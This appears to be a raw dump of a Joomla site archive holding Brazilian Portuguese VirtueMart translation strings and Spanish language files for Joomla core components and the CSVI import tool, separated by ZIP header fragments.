COM_VIRTUEMART_UPDATE_WARNING_TITLE="Aviso Geral" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="A atualização foi concluída com Sucesso" COM_VIRTUEMART_UPLOADED_FILE_NAME_EXISTS="Arquivo com o mesmo nome já existe" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_USEND_MSG="Olá %s, Obrigado por registrar-se em %s. Agora você pode logar-se para %s usando o login e a senha com os quais você se registrou." COM_VIRTUEMART_USEND_MSG_ACTIVATE="Olá %s, Obrigado por registrar-se em %s. Sua conta foi criada e deve ser ativada antes que você posssa usá-la. Para ativar a conta clique no link abaixo ou copie e cole no seu navegador" COM_VIRTUEMART_USER="Comprador " COM_VIRTUEMART_USERFIELD="Campo do comprador" COM_VIRTUEMART_USERFIELDS="Campo do usuário" COM_VIRTUEMART_USERFIELDS_ADDVALUE="Adicionar um valor" COM_VIRTUEMART_USERFIELDS_ADDVALUES_TIP="Use a tabela abaixo para adicionar novos valores." COM_VIRTUEMART_USERFIELDS_COLUMNS="Colunas" COM_VIRTUEMART_USERFIELDS_DESCRIPTION="Descrição, tipo de campo" COM_VIRTUEMART_USERFIELDS_FORM_LBL="Informações Adicionais" COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL="Hipertexto e URL" COM_VIRTUEMART_USERFIELDS_MAXLENGTH="Comprimento máximo" COM_VIRTUEMART_USERFIELDS_PLUGIN_TIP="Parâmetros extras do plugin" COM_VIRTUEMART_USERFIELDS_READONLY="Somente leitura" COM_VIRTUEMART_USERFIELDS_ROWS="Linhas" COM_VIRTUEMART_USERFIELDS_SIZE="Tamanho do campo" COM_VIRTUEMART_USERFIELDS_URL_ONLY="Somente URL" COM_VIRTUEMART_USERFIELD_DETAILS="Detalhes do campo do comprador" COM_VIRTUEMART_USERFIELD_S="Campos do comprador" COM_VIRTUEMART_USERGROUPS_ADD="Adicionar / Editar o Grupo de Usuários" COM_VIRTUEMART_USERGROUPS_LEVEL="Nível do Grupo de Usuários" COM_VIRTUEMART_USERGROUPS_LIST=" Lista de Grupo de Usuários" COM_VIRTUEMART_USERGROUPS_LIST_NAME="Nome do Grupo de Usuários" COM_VIRTUEMART_USERGROUP_DETAILS="Detalhes do Grupo de Usuários" COM_VIRTUEMART_USERINFO_ID="Iformação da id de usuários" COM_VIRTUEMART_USERNAME="Nome de usuários" COM_VIRTUEMART_USERS="Usuários" COM_VIRTUEMART_USERS_SYNCRONIZED="Usuários Sincronizados!" COM_VIRTUEMART_USER_DATA_STORED="Dados do usuário armazenados" COM_VIRTUEMART_USER_DELETE_ST="Excluir endereço" COM_VIRTUEMART_USER_DISPLAYED_NAME="Exibir nome" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Exibe o Editar endereço do usuário" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="Editar endereço do usuário" COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN="Você não pode excluir esse usuário, pois é o único Super Administrador ativo para o seu site." COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN="Você não pode mudar esse grupo de usuários como o usuário é o único Super Administrador ativo para o seu site." COM_VIRTUEMART_USER_FORM_ADDRESS_1="Endereço 1" COM_VIRTUEMART_USER_FORM_ADDRESS_2="Endereço 2" COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL="Apelido do endereço" COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Adicionar Endereço" COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Informações de fatura" COM_VIRTUEMART_USER_FORM_BLOCKUSER="Bloquear Usuário" COM_VIRTUEMART_USER_FORM_CITY="Cidade" COM_VIRTUEMART_USER_FORM_COMPANY_NAME="Nome da empresa" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_CHANGEBUTTON="Alterar detalhes de contato" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_FAX="Fax" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_NAME="Nome" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_POSITION="Posição" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_TELEPHONE="Telefone" COM_VIRTUEMART_USER_FORM_COUNTRY="País" COM_VIRTUEMART_USER_FORM_CUSTOMER_NUMBER="Número do comprador / ID" COM_VIRTUEMART_USER_FORM_FAX="Fax" COM_VIRTUEMART_USER_FORM_FIRST_NAME="Primeiro nome" COM_VIRTUEMART_USER_FORM_GROUP="Grupo" COM_VIRTUEMART_USER_FORM_LASTVISITDATE="Data da última visita" COM_VIRTUEMART_USER_FORM_LASTVISIT_NEVER="Nunca" COM_VIRTUEMART_USER_FORM_LAST_NAME="última visita" COM_VIRTUEMART_USER_FORM_LBL="Informações do usuário" COM_VIRTUEMART_USER_FORM_LEGEND_CONTACTINFO="Informações do contato" COM_VIRTUEMART_USER_FORM_LEGEND_PARAMETERS="Parâmetros" COM_VIRTUEMART_USER_FORM_LEGEND_USERDETAILS="Detalhes do usuário" COM_VIRTUEMART_USER_FORM_MIDDLE_NAME="Nome do meio" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED="Por favor, preencha os campos obrigatórios!" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_OTHER_TAB="Por favor, preencha os campos obrigatórios, você pode dar uma olhada no guia %s" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="Nova senha" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_1="Não existem contatos ligados a este usuário" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_2="Veja Componentes -> Contato -> Administrar contatos para mais detalhes." COM_VIRTUEMART_USER_FORM_PERMS="Permissões" COM_VIRTUEMART_USER_FORM_PHONE2="Celular" COM_VIRTUEMART_USER_FORM_PHONE="Telefone" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="Receber E-mail do sistema" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Registrar data" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Endereço de entrega" COM_VIRTUEMART_USER_FORM_STATE="Estado / Província / Região" COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO="Informações Gerais do Usuário" COM_VIRTUEMART_USER_FORM_TITLE="Título" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Verificar senha" COM_VIRTUEMART_USER_FORM_ZIP="Zip / Código Postal" COM_VIRTUEMART_USER_GROUP="Grupo" COM_VIRTUEMART_USER_ID="Id do usuário" COM_VIRTUEMART_USER_ISNOTVENDOR="Não é um fornecedor" COM_VIRTUEMART_USER_ISVENDOR="é um fornecedor" COM_VIRTUEMART_USER_IS_VENDOR="Fornecedor ?" COM_VIRTUEMART_USER_LIST_LBL="Lista de compradores" COM_VIRTUEMART_USER_NOSHIPPINGADDR="Sem endereço para entrega." COM_VIRTUEMART_USER_REGISTRATION_DISABLED="Registro de usuário estiver desativado, ele deve estar habilitado para proceder." COM_VIRTUEMART_USER_S="Compradores" COM_VIRTUEMART_USER_SAVED="Comprador salvo" COM_VIRTUEMART_USER_USERNAME_INCOMPLETE_PROFILE="Usuário %s tem um perfil incompleto" COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Exibe a Manutenção da Conta de Comprador VirtueMart" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="Manutenção de Conta VirtueMart" COM_VIRTUEMART_VALUE="Valor" COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE="Valores são necessários para este tipo." COM_VIRTUEMART_VENDOR="Fornecedor" COM_VIRTUEMART_VENDOR_DATA_STORED="Dados de fornecedor armazenado" COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="Selcionar um vendedor" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Seleciona um vendedor" COM_VIRTUEMART_VENDOR_FORM_FULL_IMAGE="Imagem cheia" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Informações do fornecedor" COM_VIRTUEMART_VENDOR_FORM_THUMB_IMAGE="Imagem em miniatura" COM_VIRTUEMART_VENDOR_ID="Fornecedor" COM_VIRTUEMART_VENDOR_IMAGE="Imagem do vendedor" COM_VIRTUEMART_VENDOR_NAME="Nome do fornecedor" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Exibir detalhes de fornecedor do VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Exibe detalhes de fornecedor do VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Exibir os fornecedores do VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Exibe fornecedores do VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Exibir detalhes de fornecedor do VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Exibe detalhes de fornecedor do VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="Exibir TOS do forncedor" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="Exibe TOS do forncedor" COM_VIRTUEMART_VERSIONCHECK_TITLE="Verifique Versão VirtueMart" COM_VIRTUEMART_VIEW="Visualizar" COM_VIRTUEMART_VIRTUEMART_CUSTOM_ID="Id personalizado" COM_VIRTUEMART_VIRTUEMART_ORDER_ID="Id do pedido" COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="Id do produto" COM_VIRTUEMART_VIRTUEMART_STATE_IDS="Estados" COM_VIRTUEMART_VIRTUEMART_USERINFO_ID="Informações de Id de usuários" COM_VIRTUEMART_VIRTUEMART_USER_ID="Id do usuário" COM_VIRTUEMART_VIRTUEMART_VENDOR_ID="Fornecedor" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="Layout Padrão VirtueMart" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Exibe a primeira página VirtueMart" COM_VIRTUEMART_VISIBLE_FOR_SHOPPER="Visível para Comprador" COM_VIRTUEMART_VISIBLE_FOR_VENDOR="Visível para fornecedor" COM_VIRTUEMART_WAITING_LIST_DELETE_ERR_PRODUCT="Você deve digitar um ID de produto." COM_VIRTUEMART_WAITING_LIST_DELETE_SELECT="Por favor selecione um ID de lista de espera para apagar." COM_VIRTUEMART_WAITING_LIST_ERR_ALREADY="Você já está sendo notificado sobre este produto." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_ENTER="Você deve digitar um endereço de e-mail para estar na lista de espera." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_NOTVALID="Por favor, forneça um endereço de e-mail válido." COM_VIRTUEMART_WAITING_LIST_ERR_PRODUCT="Você deve inserir um produto para estar na lista de espera." COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET="Aviso — o %1$s está vazio, por razões de segurança é muito importante criar uma pasta em um caminho que não seja acessível por um URL, crie também uma pasta de faturas para armazenar seus dados sensíveis de uma forma segura. Nosso caminho sugerido é para o seu sistema %2$s " COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE="Desculpe, não foi possível criar diretório para as faturas em %1$s, por favor crie lá manualmente a pasta "_QQ_"faturas"_QQ_" " COM_VIRTUEMART_WARN_SAFE_PATH_WRONG="Aviso — o %1$s está errado, por razões de segurança é muito importante criar uma pasta em um caminho não é acessível por um URL, crie também uma pasta de faturas para armazenar seus dados sensíveis de forma segura. Nosso caminho sugerido é para o seu sistema %2$s " COM_VIRTUEMART_WEEK="Semanas" COM_VIRTUEMART_WEEKS="Semanas" COM_VIRTUEMART_WEEK_S="Semanas" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT="Unidade de Peso padrão" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT_EXPLAIN="Unidade padrão de peso utilizados para os produtos. Este valor pode ser alterado por produto" COM_VIRTUEMART_WORLDZONE="área" COM_VIRTUEMART_WRITABLE="Gravável" COM_VIRTUEMART_X_CHILD_PRODUCT="%s Filho" COM_VIRTUEMART_YEAR="Ano" COM_VIRTUEMART_YEAR_S="Anos" COM_VIRTUEMART_YES="Sim" COM_VIRTUEMART_YOUR_VERSION="Sua versão" COM_VIRTUEMART_ZONE_ASSIGN_CURRENT_LBL="Área atual"PK@y>\!܂<language/pt-BR/pt-BR.plg_vmshipment_weight_countries.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valerie Isaksen ; @package VMSHIPMENT ; @subpackage VirtueMart Shipper VMSHIPMENT_WEIGHT_COUNTRIES="Plugin VM de Envio Peso/Nr de Produtos/Países" PK@y>\ P^ /language/pt-BR/pt-BR.plg_vmpayment_standard.ininuW+A; $Id: en-GB.plg_vmpayment_standard.ini 2567 2010-10-08 14:20:50Z _fD_ $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMPAYMENT_STANDARD="Plugin VM de Pagamento Padrão" VMPAYMENT_STANDARD_AMOUNT="Quantia" VMPAYMENT_STANDARD_COST_PERCENT_TOTAL="Percentual da quantia total" VMPAYMENT_STANDARD_COST_PERCENT_TOTAL_EXPLAIN="Percentual para ser aplicado ao montante total" VMPAYMENT_STANDARD_COST_PER_TRANSACTION="Taxa por transação" VMPAYMENT_STANDARD_COST_PER_TRANSACTION_EXPLAIN="Quantia fixa para aplicar por transação" VMPAYMENT_STANDARD_COUNTRIES="Países" VMPAYMENT_STANDARD_COUNTRIES_DESC="Por favor, selecione os países para os quais se aplica este método de pagamento. Se nenhum país for selecionado, este método de pagamento será aplicado para todos os países" VMPAYMENT_STANDARD_CURRENCY="Moedas Aceitas" VMPAYMENT_STANDARD_CURRENCY_DESC="Moedas Aceitas para este pagamento" VMPAYMENT_STANDARD_INFO="Informações de pagamento" VMPAYMENT_STANDARD_LOGOS="Logotipos" VMPAYMENT_STANDARD_LOGOS_DESC="Logotipos para serem exibidos com o nome do pagamento" VMPAYMENT_STANDARD_MAX_AMOUNT="Quantia Máxima" VMPAYMENT_STANDARD_MAX_AMOUNT_EXPLAIN="Quantia Máxima do Pedido para oferecer este Pagamento" VMPAYMENT_STANDARD_MIN_AMOUNT="Quantia Mínima" VMPAYMENT_STANDARD_MIN_AMOUNT_EXPLAIN="Quantia Mínima do Pedido para oferecer este Pagamento" VMPAYMENT_STANDARD_ORDER_INFO="Informações do Pedido" VMPAYMENT_STANDARD_ORDER_NUMBER="Número do Pedido" VMPAYMENT_STANDARD_ORDER_TOTAL="Total do Pedido" VMPAYMENT_STANDARD_PAYMENTINFO="Informações do Pagamento" VMPAYMENT_STANDARD_PAYMENTINFO_DESC="Informações Extras do Pagamento" VMPAYMENT_STANDARD_PAYMENT_INFO="Método de Pagamento" VMPAYMENT_STANDARD_PAYMENT_INFO_TEXT="Seu pedido será tratado assim que recebermos seu pagamento." VMPAYMENT_STANDARD_PAYMENT_NAME="Nome do Pagamento" VMPAYMENT_STANDARD_PAYMENT_TOTAL_CURRENCY="Total na Moeda de Pagamento" VMPAYMENT_STANDARD_PERCENT_TOTAL="Percentual do montante total" VMPAYMENT_STANDARD_PERCENT_TOTAL_EXPLAIN="Percentual para aplicar ao montante total" VMPAYMENT_STANDARD_TAX="Imposto" VMPAYMENT_STANDARD_TAX_EXPLAIN="Imposto para aplicar à Taxa" VMPAYMENT_STANDARD_TRANSACTION="Taxa por transação" VMPAYMENT_STANDARD_TRANSACTION_EXPLAIN="Quantia fixa para aplicar por transação" VMPAYMENT_STANDARD_STATUS_PENDING="Status do pedido para transações pendentes" VMPAYMENT_STANDARD_STATUS_PENDING_EXPLAIN="O status do pedido que será definido, cuja transação de pagamento ainda não foi concluída" PK@y>\Vlanguage/index.htmlnuW+A PK@y>\:+//%language/overrides/en-GB.override.ininuW+A; $Id: en-GB.override.ini 21509 2011-06-10 07:48:41Z infograf768 $ ; Joomla! Project ; Copyright (C) 2005 - 2011 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 NO BOM PK@y>\Vlanguage/overrides/index.htmlnuW+A PK@y>\)language/overrides/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ ̤'language/es-ES/es-ES.com_search.sys.ininuW+A; $Id: es-ES.com_search.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_SEARCH="Buscar" COM_SEARCH_SEARCH_VIEW_DEFAULT_DESC="Mostrar los resultados de búsqueda." COM_SEARCH_SEARCH_VIEW_DEFAULT_OPTION="Predeterminado" COM_SEARCH_SEARCH_VIEW_DEFAULT_TITLE="Mostrar un formulario de búsqueda o los resultados de búsqueda" COM_SEARCH_XML_DESCRIPTION="Componente para funciones de búsqueda" PK@y>\7a@@0language/es-ES/es-ES.plg_system_redirect.sys.ininuW+A; $Id: es-ES.plg_system_redirect.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_REDIRECT_XML_DESCRIPTION="El plugin de redirección del sistema, habilita a Joomla! para que pueda capturar páginas desaparecidas y redireccionar a los usuarios." PLG_SYSTEM_REDIRECT="Sistema - Redirección" PK@y>\PN00+language/es-ES/es-ES.plg_content_joomla.ininuW+A; $Id: es-ES.plg_content_joomla.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_JOOMLA="Contenido - Joomla" PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_DESC="Comprobar que las categorías están completamente vacías antes de borrarlas." PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_LABEL="Revisar el borrado de categorías" PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_DESC="Notificar por correo electrónico el envío de artículos desde el sitio, cuando 'Send email' está activado." PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_LABEL="Notificar por correo electrónico los nuevos artículos del sitio" PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Se ocupa del procesamiento de categorías para las extensiones del núcleo; envía un correo electrónico cuando se en crea un nuevo artículo desde el sitio." PK@y>\!GEE!language/es-ES/es-ES.mod_feed.ininuW+A; $Id: es-ES.mod_feed.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_FEED="Canal electrónico" MOD_FEED_ERR_CACHE="Por favor, haga que el directorio 'cache' sea escribible" MOD_FEED_ERR_NO_URL="Sin URL al canal electrónico especificada." MOD_FEED_FIELD_DESCRIPTION_DESC="Se muestra el texto de introducción para todo el canal electrónico" MOD_FEED_FIELD_DESCRIPTION_LABEL="Descripción del canal" MOD_FEED_FIELD_IMAGE_DESC="Se muestra la imagen asociada con el canal electrónico" MOD_FEED_FIELD_IMAGE_LABEL="Imagen del canal" MOD_FEED_FIELD_ITEMDESCRIPTION_DESC="Se muestra la descripción o texto de introducción de cada noticia del canal electrónico" MOD_FEED_FIELD_ITEMDESCRIPTION_LABEL="Descripción de la noticia del canal" MOD_FEED_FIELD_ITEMS_DESC="Introduzca la cantidad de noticias del canal electrónico a mostrar" MOD_FEED_FIELD_ITEMS_LABEL="Cantidad de noticias" MOD_FEED_FIELD_RSSTITLE_DESC="Mostrar el título del canal electrónico" MOD_FEED_FIELD_RSSTITLE_LABEL="Título del canal" MOD_FEED_FIELD_RSSURL_DESC="Introduzca la URL del canal electrónico RSS, RDF, o Atom" MOD_FEED_FIELD_RSSURL_LABEL="URL del canal electrónico" MOD_FEED_FIELD_RTL_DESC="Mostrar el texto del canal en dirección RTL" MOD_FEED_FIELD_RTL_LABEL="Texto del canal RTL" MOD_FEED_FIELD_WORDCOUNT_DESC="Le permite limitar la cantidad de texto visible por cada noticia del canal. El valor '0' mostrará todo el texto" MOD_FEED_FIELD_WORDCOUNT_LABEL="Cantidad de palabras" MOD_FEED_XML_DESCRIPTION="Este módulo permite que se muestren las noticias sindicadas de un canal electrónico" PK@y>\n5%language/es-ES/es-ES.com_csvi.sys.ininuW+A; ; CSVI English language file ; ; @package CSVI ; @subpackage Language ; @author Roland Dalmulder ; @link http://www.csvimproved.com ; @copyright @[c]@ ; @version $Id: en-GB.com_csvi.sys.ini 2275 2013-01-03 21:08:43Z RolandD $ ; ; manifest.xml COM_CSVI="CSVI" COM_CSVI_XML_DESCRIPTION="CSVI: La herramienta de importacion y exportacion para Joomla" COM_CSVI_PROCESS="Procesar" COM_CSVI_REPLACEMENTS="Sustituciones" COM_CSVI_LOG="Log" COM_CSVI_MAINTENANCE="Mantenimiento" COM_CSVI_AVAILABLEFIELDS="Campos Disponibles" COM_CSVI_SETTINGS="Configuracion" COM_CSVI_TEMPLATETYPES="Tipos de Plantilla" COM_CSVI_ABOUT="Acerca de" ; script.php COM_CSVI_UNINSTALL_TEXT="CSVI ha sido desinstalado" COM_CSVI_UPDATE_TEXT="CSVI ha sido actualizado" COM_CSVI_PHP_VERSION_ERROR="Estas ejecutando la version de PHP %s, CSVI requiere al menos la version 5.3. La instalacion no puede continuar." COM_CSVI_JOOMLA_VERSION_ERROR="Estas ejecutando la version de Joomla %s, CSVI requiere al menos la version 1.7.3. La instalacion no puede continuar." COM_CSVI_CONTINUE_SETUP=">>> Click aquí para continuar tu instalación de CSVI <<<" ; Menu entries CSVI="CSVI" COM_CSVI_EXPORT_FRONTEND="Interfaz de Exportacion" COM_CSVI_EXPORT_FRONTEND_DESC_MENU="Muestra la plantilla de exportacion escogida en la interfaz de usuario." COM_CSVI_SELECT_TEMPLATE="Seleccione una plantilla" COM_CSVI_SELECT_TEMPLATE_DESC="Seleccione la plantilla de exportacion para la interfaz de usuario."PK@y>\էM1language/es-ES/es-ES.plg_finder_newsfeeds.sys.ininuW+A; $Id: es-ES.plg_finder_newsfeeds.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_FINDER_NEWSFEEDS="Búsquedas inteligentes - Canales electrónicos" PLG_FINDER_NEWSFEEDS_ERROR_ACTIVATING_PLUGIN="No se ha podido activar automáticamente el plugin "_QQ_"Búsquedas inteligentes - Canales electrónicos de Joomla!"_QQ_"" PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="Este plugin indexa los canales electrónicos de Joomla!" PK@y>\}ؔ6M M /language/es-ES/es-ES.plg_vmpayment_standard.ininuW+A; $Id: en-GB.plg_vmpayment_standard.ini 2567 2010-10-08 14:20:50Z _fD_ $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMPAYMENT_STANDARD="Vm Método de pago estándar" VMPAYMENT_STANDARD_AMOUNT="Cantidad" VMPAYMENT_STANDARD_COST_PERCENT_TOTAL="Porcentaje de la cantidad total" VMPAYMENT_STANDARD_COST_PERCENT_TOTAL_EXPLAIN="Porcentaje ha aplicar a la cantidad total" VMPAYMENT_STANDARD_COST_PER_TRANSACTION="Recargo por transacción" VMPAYMENT_STANDARD_COST_PER_TRANSACTION_EXPLAIN="Cantidad plana ha aplicar a cada transacción" VMPAYMENT_STANDARD_COUNTRIES="Paises" VMPAYMENT_STANDARD_COUNTRIES_DESC="Por favor seleccione los Paises en los que se aplica este metodo de pago. Si no selecciona ninguno se aplicara en todos los Paises" VMPAYMENT_STANDARD_CURRENCY="Moneda aceptada" VMPAYMENT_STANDARD_CURRENCY_DESC="Moneda aceptada por este pago" VMPAYMENT_STANDARD_INFO="Información del pago" VMPAYMENT_STANDARD_LOGOS="Logos" VMPAYMENT_STANDARD_LOGOS_DESC="Logos a mostrar con el nombre de pago" VMPAYMENT_STANDARD_MAX_AMOUNT="Cantidad máxima" VMPAYMENT_STANDARD_MAX_AMOUNT_EXPLAIN="Cantidad máxima para usar este método de pago" VMPAYMENT_STANDARD_MIN_AMOUNT="Cantidad mínima" VMPAYMENT_STANDARD_MIN_AMOUNT_EXPLAIN="Cantidad mínima para usar este método de pago" VMPAYMENT_STANDARD_ORDER_INFO="Información de pedido" VMPAYMENT_STANDARD_ORDER_NUMBER="Número de pedido" VMPAYMENT_STANDARD_ORDER_TOTAL="Total de pedido" VMPAYMENT_STANDARD_PAYMENTINFO="Información de pago" VMPAYMENT_STANDARD_PAYMENTINFO_DESC="Información de pago adicional" VMPAYMENT_STANDARD_PAYMENT_INFO="Metodo de pago" VMPAYMENT_STANDARD_PAYMENT_INFO_TEXT="Su orden será procesada cuando recivamos su pago." VMPAYMENT_STANDARD_PAYMENT_NAME="Nombre del pago" VMPAYMENT_STANDARD_PAYMENT_TOTAL_CURRENCY="Total en Moneda del Pago" VMPAYMENT_STANDARD_PERCENT_TOTAL="Porcentaje de la cantidad total" VMPAYMENT_STANDARD_PERCENT_TOTAL_EXPLAIN="Porcentaje ha aplicar a la cantidad total" VMPAYMENT_STANDARD_TAX="Impuesto" VMPAYMENT_STANDARD_TAX_EXPLAIN="Impuesto a aplicar al cargo" VMPAYMENT_STANDARD_TRANSACTION="Recargo por transacción" VMPAYMENT_STANDARD_TRANSACTION_EXPLAIN="Cantidad plana ha aplicar a cada transacción" VMPAYMENT_STANDARD_STATUS_PENDING="Estado de pedido para transacciones pendientes" VMPAYMENT_STANDARD_STATUS_PENDING_EXPLAIN="El estado del pedido para los que hay pedidos establecidos, que no han completado la Transacción de Pago." PK@y>\'((3language/es-ES/es-ES.plg_content_pagenavigation.ininuW+A; $Id: es-ES.plg_content_pagenavigation.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_PAGENAVIGATION="Contenido - Navegación entre páginas" PLG_PAGENAVIGATION_FIELD_POSITION_DESC="La posición de la función de Navegación entre páginas en la página de visionado es relativa al texto." PLG_PAGENAVIGATION_FIELD_POSITION_LABEL="Posición" PLG_PAGENAVIGATION_FIELD_RELATIVE_DESC="Asigna la posición relativa para el parámetro 'Posición'. El texto lo ubicará por encima o por debajo del contenido del artículo. Mostrando el artículo al completo lo ubicará por encima o debajo de ese tipo de salida, incluyendo el título o al 'Leer más...'" PLG_PAGENAVIGATION_FIELD_RELATIVE_LABEL="Relativo a" PLG_PAGENAVIGATION_FIELD_VALUE_ABOVE="Arriba" PLG_PAGENAVIGATION_FIELD_VALUE_ARTICLE="Artículo al completo" PLG_PAGENAVIGATION_FIELD_VALUE_BELOW="Abajo" PLG_PAGENAVIGATION_FIELD_VALUE_TEXT="Texto" PLG_PAGENAVIGATION_XML_DESCRIPTION="Permite habilitar la funcionalidad Anterior y Siguiente a un artículo." PK@y>\t(language/es-ES/es-ES.com_contact.sys.ininuW+A; $Id: es-ES.com_contact.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CONTACT="Contactos" COM_CONTACT_CATEGORIES="Categorías" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Muestra todas las categorías de contacto en formato del tipo lista o tabla." COM_CONTACT_CATEGORIES_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_TITLE="Mostrar todas las categorías de contactos" COM_CONTACT_CATEGORY_ADD_TITLE="Gestor de categorías: Añadir una nueva categoría de contactos" COM_CONTACT_CATEGORY_EDIT_TITLE="Gestor de categorías: Editar una categoría de contactos" COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="Muestra todos los contactos de una categoría en formato del tipo lista o tabla." COM_CONTACT_CATEGORY_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTACT_CATEGORY_VIEW_DEFAULT_TITLE="Mostrar todos los contactos de una categoría" COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="Enlaza con un tipo de presentación que le permite detallar por partes y en varios formatos la información relativa al contacto." COM_CONTACT_CONTACT_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTACT_CONTACT_VIEW_DEFAULT_TITLE="Mostrar un solo contacto" COM_CONTACT_FEATURED_VIEW_DEFAULT_DESC="Muestra los contactos destacados en formato del tipo lista o tabla." COM_CONTACT_FEATURED_VIEW_DEFAULT_OPTION="Predeterminado" 